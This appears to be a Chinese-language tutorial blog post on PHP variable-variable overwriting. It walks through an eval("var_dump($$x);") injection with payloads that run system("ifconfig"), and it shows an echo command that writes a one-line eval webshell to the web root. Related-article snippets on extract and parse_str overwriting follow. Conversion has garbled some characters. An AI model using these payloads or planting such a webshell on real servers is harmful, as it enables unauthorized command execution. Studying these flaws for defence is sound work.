php中 變數覆蓋問題

2021-08-28 08:24:18 字數 1726 閱讀 4775

乙個小的知識點。。。

這裡主要是乙個關於$$變數覆蓋問題和eval("var_dump($x);");中繞過var_dump造成命令執行漏洞的分析

我將php**寫在test.php檔案裡了

root@kali:/var/www/html# vi test.php
**內容:

<?php 

$x = $_get['x'];

eval("var_dump($$x);");

?>

可以發現這裡$$x實際就是乙個變數覆蓋問題,而$x變數又是我們可控的,所以就可以var_dump一些我們想列印的東西,例如payload:

但是現在我想用eval執行一些系統命令,因為有var_dump(),所以我們需要繞過這個函式,執行其他函式,比如:exec()、passthru()、system()、 shell_exec()這些函式能夠執行系統命令

利用一:

payload: x=x=1);system("ifconfig"

"ifconfig"
就可以繞過var_dump,執行system系統命令:

這個payload在**中的呈現形式: 

eval("var_dump(1);system("ifconfig");");
; 執行將兩條命令分割,均可執行,所以繞過了

利用二:

也可以直接在var_dump()函式當中執行執行系統命令 payload:    x=x=system("ifconfig")

"ifconfig")
在**中的呈現形式:

eval("var_dump(system("ifconfig"));");
eval執行裡面的**,var_dump()列印出system()執行的結果

最後再說乙個關於在linux系統中寫一句話木馬中可能會遇到的問題吧::

root@kali:/var/www/html# echo "<?php @eval($_post[123]);?>" > mm.php
向這樣直接向伺服器中寫入木馬時,它的內容會是這樣:

$_post不見了,原因是在shell程式設計中," " 中的 $xx 會被當做乙個變數,所以這裡需要用 -e 引數 轉義

root@kali:/var/www/html# echo -e "<?php @eval(\$_post[123]);?>" > mm.php
結果:

PHP變數覆蓋

register globals用來註冊全域性變數 當register globals全域性變數設定開啟時,傳遞過來的值會被直接註冊為全域性變數而使用,這會造成全域性變數覆蓋 新版本沒有這個東西了,大概在5.2版本以後就消失了php version 5.2 parse str name bill a...

PHP 變數覆蓋 extract

這個函式 是因為看了下 phpcms 前台 getshell 發現這些函式果然乙個都不能漏。該函式官方文件 在此 多翻官方文件,好多人跟我說過這個習慣 原因 無非是 變數覆蓋,至於 能造成什麼危害 就看下邊 怎麼寫了。int extract array array int flags extr ov...

php安全 變數覆蓋

php.ini註冊全域性變數 將表單傳入的資料作為全域性變數,例如 接受表單傳遞的值 變數username未定義,被get請求變數覆蓋。注 5.4以上版本已刪除 5.3以下需手動新增 遍歷鍵值 echo a 輸出為get請求的值,變數a被覆蓋。extract array 將陣列轉換為變數,鍵為變數名...